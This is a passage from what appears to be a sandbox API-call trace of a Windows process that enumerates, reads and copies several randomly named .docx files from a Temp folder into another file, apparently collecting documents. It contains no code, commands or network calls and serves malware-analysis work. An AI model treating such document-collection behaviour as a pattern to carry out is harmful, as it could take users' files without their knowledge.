nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.928] FindNextFileW (in: hFindFile=0x13fa770, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da82629, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x385f1d10, ftLastWriteTime.dwHighDateTime=0x1d5b63f, nFileSizeHigh=0x0, nFileSizeLow=0x15673, dwReserved0=0x0, dwReserved1=0x0, cFileName="4uV4065ClZioLoOxUX7f.docx", cAlternateFileName="4UV406~1.DOC")) returned 1 [0211.928] FindNextFileW (in: hFindFile=0x13fa770, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dcbea63, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dcbea63, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x468407b0, ftLastWriteTime.dwHighDateTime=0x1d59057, nFileSizeHigh=0x0, nFileSizeLow=0x178a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7d4Q8tI0a.docx", cAlternateFileName="7D4Q8T~1.DOC")) returned 1 [0211.928] FindNextFileW (in: hFindFile=0x13fa770, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dcbea63, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dcbea63, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2928e930, ftLastWriteTime.dwHighDateTime=0x1d5a2f2, nFileSizeHigh=0x0, nFileSizeLow=0xf64a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CQmwTaiySiiMfKSxL.docx", cAlternateFileName="CQMWTA~1.DOC")) returned 1 [0211.928] FindNextFileW (in: hFindFile=0x13fa770, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd0b065, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x748e4b30, ftLastWriteTime.dwHighDateTime=0x1d5e41b, nFileSizeHigh=0x0, nFileSizeLow=0x157fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gwq5EHvw1.docx", cAlternateFileName="GWQ5EH~1.DOC")) returned 1 [0211.929] FindNextFileW (in: hFindFile=0x13fa770, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd0b065, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x6e32bcc0, ftLastWriteTime.dwHighDateTime=0x1d57e50, nFileSizeHigh=0x0, nFileSizeLow=0xedb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="YsuINtJM29u.docx", cAlternateFileName="YSUINT~1.DOC")) returned 1 [0211.929] FindNextFileW (in: hFindFile=0x13fa770, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd0b065, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x6e32bcc0, ftLastWriteTime.dwHighDateTime=0x1d57e50, nFileSizeHigh=0x0, nFileSizeLow=0xedb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="YsuINtJM29u.docx", cAlternateFileName="YSUINT~1.DOC")) returned 0 [0211.929] FindClose (in: hFindFile=0x13fa770 | out: hFindFile=0x13fa770) returned 1 [0211.929] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\*", lpFindFileData=0x12fecec | out: lpFindFileData=0x12fecec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1dd0b065, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa470 [0211.929] FindNextFileW (in: hFindFile=0x13fa470, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1dd0b065, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.930] FindNextFileW (in: hFindFile=0x13fa470, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da82629, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x385f1d10, ftLastWriteTime.dwHighDateTime=0x1d5b63f, nFileSizeHigh=0x0, nFileSizeLow=0x15673, dwReserved0=0x0, dwReserved1=0x0, cFileName="4uV4065ClZioLoOxUX7f.docx", cAlternateFileName="4UV406~1.DOC")) returned 1 [0211.930] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\4uV4065ClZioLoOxUX7f.docx", nBufferLength=0x105, lpBuffer=0x12fe930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\4uV4065ClZioLoOxUX7f.docx", lpFilePart=0x0) returned 0x4e [0211.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee74) returned 1 [0211.930] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\4uV4065ClZioLoOxUX7f.docx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files\\4uv4065clziolooxux7f.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x750 [0211.930] GetFileType (hFile=0x750) returned 0x1 [0211.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee70) returned 1 [0211.930] GetFileType (hFile=0x750) returned 0x1 [0211.930] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\4uV4065ClZioLoOxUX7f.docx", nBufferLength=0x105, lpBuffer=0x12fe9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\4uV4065ClZioLoOxUX7f.docx", lpFilePart=0x0) returned 0x4e [0211.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb8) returned 1 [0211.931] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\4uV4065ClZioLoOxUX7f.docx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files\\4uv4065clziolooxux7f.docx"), fInfoLevelId=0x0, lpFileInformation=0x12fef34 | out: lpFileInformation=0x12fef34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da82629, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x385f1d10, ftLastWriteTime.dwHighDateTime=0x1d5b63f, nFileSizeHigh=0x0, nFileSizeLow=0x15673)) returned 1 [0211.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb4) returned 1 [0211.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1.2.3", cchWideChar=5, lpMultiByteStr=0x12fedc8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.2.3H\x86q\x18Ô\x96àðùos¸ó/\x010\x8e*\x03", lpUsedDefaultChar=0x0) returned 5 [0211.932] ReadFile (in: hFile=0x750, lpBuffer=0x32ab000, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x32ab000*, lpNumberOfBytesRead=0x12feedc*=0x14000, lpOverlapped=0x0) returned 1 [0211.959] WriteFile (in: hFile=0x740, lpBuffer=0x3262704*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x3262704*, lpNumberOfBytesWritten=0x12fee44*=0x1000, lpOverlapped=0x0) returned 1 [0211.959] WriteFile (in: hFile=0x740, lpBuffer=0x32a9ef3*, nNumberOfBytesToWrite=0x103d, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32a9ef3*, lpNumberOfBytesWritten=0x12fee44*=0x103d, lpOverlapped=0x0) returned 1 [0211.959] WriteFile (in: hFile=0x740, lpBuffer=0x32a8f30*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32a8f30*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.961] WriteFile (in: hFile=0x740, lpBuffer=0x32a8f30*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32a8f30*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.961] WriteFile (in: hFile=0x740, lpBuffer=0x32a8f30*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32a8f30*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.962] WriteFile (in: hFile=0x740, lpBuffer=0x32a8f30*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32a8f30*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.962] WriteFile (in: hFile=0x740, lpBuffer=0x32a8f30*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32a8f30*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.963] WriteFile (in: hFile=0x740, lpBuffer=0x32a8f30*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32a8f30*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.963] ReadFile (in: hFile=0x750, lpBuffer=0x32ab000, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x32ab000*, lpNumberOfBytesRead=0x12feedc*=0x1673, lpOverlapped=0x0) returned 1 [0211.963] WriteFile (in: hFile=0x740, lpBuffer=0x32a8f30*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32a8f30*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.964] WriteFile (in: hFile=0x740, lpBuffer=0x32a8f30*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32a8f30*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.964] ReadFile (in: hFile=0x750, lpBuffer=0x32ab000, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x32ab000*, lpNumberOfBytesRead=0x12feedc*=0x0, lpOverlapped=0x0) returned 1 [0211.965] WriteFile (in: hFile=0x740, lpBuffer=0x32a8f30*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x32a8f30*, lpNumberOfBytesWritten=0x12fee50*=0x2000, lpOverlapped=0x0) returned 1 [0211.965] WriteFile (in: hFile=0x740, lpBuffer=0x32a8f30*, nNumberOfBytesToWrite=0x1691, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x32a8f30*, lpNumberOfBytesWritten=0x12fee50*=0x1691, lpOverlapped=0x0) returned 1 [0211.968] SetFilePointer (in: hFile=0x740, lDistanceToMove=119975, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x1d4a7 [0211.969] WriteFile (in: hFile=0x740, lpBuffer=0x3262704*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x12fee84, lpOverlapped=0x0 | out: lpBuffer=0x3262704*, lpNumberOfBytesWritten=0x12fee84*=0xc, lpOverlapped=0x0) returned 1 [0211.969] SetFilePointer (in: hFile=0x740, lDistanceToMove=207719, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x32b67 [0211.969] CloseHandle (hObject=0x750) returned 1 [0211.970] FindNextFileW (in: hFindFile=0x13fa470, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dcbea63, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dcbea63, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x468407b0, ftLastWriteTime.dwHighDateTime=0x1d59057, nFileSizeHigh=0x0, nFileSizeLow=0x178a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7d4Q8tI0a.docx", cAlternateFileName="7D4Q8T~1.DOC")) returned 1 [0211.970] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\7d4Q8tI0a.docx", nBufferLength=0x105, lpBuffer=0x12fe930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\7d4Q8tI0a.docx", lpFilePart=0x0) returned 0x43 [0211.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee74) returned 1 [0211.970] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\7d4Q8tI0a.docx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files\\7d4q8ti0a.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x750 [0211.970] GetFileType (hFile=0x750) returned 0x1 [0211.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee70) returned 1 [0211.971] GetFileType (hFile=0x750) returned 0x1 [0211.971] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\7d4Q8tI0a.docx", nBufferLength=0x105, lpBuffer=0x12fe9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\7d4Q8tI0a.docx", lpFilePart=0x0) returned 0x43 [0211.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb8) returned 1 [0211.971] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\7d4Q8tI0a.docx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files\\7d4q8ti0a.docx"), fInfoLevelId=0x0, lpFileInformation=0x12fef34 | out: lpFileInformation=0x12fef34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dcbea63, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dcbea63, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x468407b0, ftLastWriteTime.dwHighDateTime=0x1d59057, nFileSizeHigh=0x0, nFileSizeLow=0x178a0)) returned 1 [0211.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb4) returned 1 [0211.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1.2.3", cchWideChar=5, lpMultiByteStr=0x12fedc8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.2.3H\x86q\x18Ô\x96àðùos¸ó/\x01t÷+\x03", lpUsedDefaultChar=0x0) returned 5 [0211.973] ReadFile (in: hFile=0x750, lpBuffer=0x32c1944, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x32c1944*, lpNumberOfBytesRead=0x12feedc*=0x14000, lpOverlapped=0x0) returned 1 [0211.976] WriteFile (in: hFile=0x740, lpBuffer=0x3262704*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x3262704*, lpNumberOfBytesWritten=0x12fee44*=0x1000, lpOverlapped=0x0) returned 1 [0211.976] WriteFile (in: hFile=0x740, lpBuffer=0x32c0842*, nNumberOfBytesToWrite=0x1032, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32c0842*, lpNumberOfBytesWritten=0x12fee44*=0x1032, lpOverlapped=0x0) returned 1 [0211.977] WriteFile (in: hFile=0x740, lpBuffer=0x32bf874*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32bf874*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.978] WriteFile (in: hFile=0x740, lpBuffer=0x32bf874*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32bf874*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.978] WriteFile (in: hFile=0x740, lpBuffer=0x32bf874*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32bf874*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.979] WriteFile (in: hFile=0x740, lpBuffer=0x32bf874*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32bf874*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.979] WriteFile (in: hFile=0x740, lpBuffer=0x32bf874*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32bf874*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.980] WriteFile (in: hFile=0x740, lpBuffer=0x32bf874*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32bf874*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.982] ReadFile (in: hFile=0x750, lpBuffer=0x32c1944, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x32c1944*, lpNumberOfBytesRead=0x12feedc*=0x38a0, lpOverlapped=0x0) returned 1 [0211.982] WriteFile (in: hFile=0x740, lpBuffer=0x32bf874*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32bf874*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.983] WriteFile (in: hFile=0x740, lpBuffer=0x32bf874*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32bf874*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.983] ReadFile (in: hFile=0x750, lpBuffer=0x32c1944, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x32c1944*, lpNumberOfBytesRead=0x12feedc*=0x0, lpOverlapped=0x0) returned 1 [0211.983] WriteFile (in: hFile=0x740, lpBuffer=0x32bf874*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x32bf874*, lpNumberOfBytesWritten=0x12fee50*=0x2000, lpOverlapped=0x0) returned 1 [0211.984] WriteFile (in: hFile=0x740, lpBuffer=0x32bf874*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x32bf874*, lpNumberOfBytesWritten=0x12fee50*=0x2000, lpOverlapped=0x0) returned 1 [0211.984] WriteFile (in: hFile=0x740, lpBuffer=0x32bf874*, nNumberOfBytesToWrite=0x18be, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x32bf874*, lpNumberOfBytesWritten=0x12fee50*=0x18be, lpOverlapped=0x0) returned 1 [0211.986] SetFilePointer (in: hFile=0x740, lDistanceToMove=207733, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x32b75 [0211.986] WriteFile (in: hFile=0x740, lpBuffer=0x3262704*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x12fee84, lpOverlapped=0x0 | out: lpBuffer=0x3262704*, lpNumberOfBytesWritten=0x12fee84*=0xc, lpOverlapped=0x0) returned 1 [0211.986] SetFilePointer (in: hFile=0x740, lDistanceToMove=304215, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x4a457 [0211.987] CloseHandle (hObject=0x750) returned 1 [0211.987] FindNextFileW (in: hFindFile=0x13fa470, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dcbea63, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dcbea63, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2928e930, ftLastWriteTime.dwHighDateTime=0x1d5a2f2, nFileSizeHigh=0x0, nFileSizeLow=0xf64a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CQmwTaiySiiMfKSxL.docx", cAlternateFileName="CQMWTA~1.DOC")) returned 1 [0211.987] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\CQmwTaiySiiMfKSxL.docx", nBufferLength=0x105, lpBuffer=0x12fe930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\CQmwTaiySiiMfKSxL.docx", lpFilePart=0x0) returned 0x4b [0211.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee74) returned 1 [0211.987] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\CQmwTaiySiiMfKSxL.docx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files\\cqmwtaiysiimfksxl.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x750 [0211.987] GetFileType (hFile=0x750) returned 0x1 [0211.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee70) returned 1 [0211.988] GetFileType (hFile=0x750) returned 0x1 [0211.988] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\CQmwTaiySiiMfKSxL.docx", nBufferLength=0x105, lpBuffer=0x12fe9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\CQmwTaiySiiMfKSxL.docx", lpFilePart=0x0) returned 0x4b [0211.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb8) returned 1 [0211.988] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\CQmwTaiySiiMfKSxL.docx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files\\cqmwtaiysiimfksxl.docx"), fInfoLevelId=0x0, lpFileInformation=0x12fef34 | out: lpFileInformation=0x12fef34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dcbea63, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dcbea63, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2928e930, ftLastWriteTime.dwHighDateTime=0x1d5a2f2, nFileSizeHigh=0x0, nFileSizeLow=0xf64a)) returned 1 [0211.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb4) returned 1 [0211.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1.2.3", cchWideChar=5, lpMultiByteStr=0x12fedc8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.2.3H\x86q\x18Ô\x96àðùos¸ó/\x01`a-\x03", lpUsedDefaultChar=0x0) returned 5 [0211.990] ReadFile (in: hFile=0x750, lpBuffer=0x32dd6bc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x32dd6bc*, lpNumberOfBytesRead=0x12feedc*=0xf64a, lpOverlapped=0x0) returned 1 [0211.993] WriteFile (in: hFile=0x740, lpBuffer=0x3262704*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x3262704*, lpNumberOfBytesWritten=0x12fee44*=0x1000, lpOverlapped=0x0) returned 1 [0211.993] WriteFile (in: hFile=0x740, lpBuffer=0x32d7226*, nNumberOfBytesToWrite=0x103a, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32d7226*, lpNumberOfBytesWritten=0x12fee44*=0x103a, lpOverlapped=0x0) returned 1 [0211.993] ReadFile (in: hFile=0x750, lpBuffer=0x32dd6bc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x32dd6bc*, lpNumberOfBytesRead=0x12feedc*=0x0, lpOverlapped=0x0) returned 1 [0211.993] WriteFile (in: hFile=0x740, lpBuffer=0x32d6260*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x32d6260*, lpNumberOfBytesWritten=0x12fee50*=0x2000, lpOverlapped=0x0) returned 1 [0211.995] WriteFile (in: hFile=0x740, lpBuffer=0x32d6260*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x32d6260*, lpNumberOfBytesWritten=0x12fee50*=0x2000, lpOverlapped=0x0) returned 1 [0211.995] WriteFile (in: hFile=0x740, lpBuffer=0x32d6260*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x32d6260*, lpNumberOfBytesWritten=0x12fee50*=0x2000, lpOverlapped=0x0) returned 1 [0211.996] WriteFile (in: hFile=0x740, lpBuffer=0x32d6260*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x32d6260*, lpNumberOfBytesWritten=0x12fee50*=0x2000, 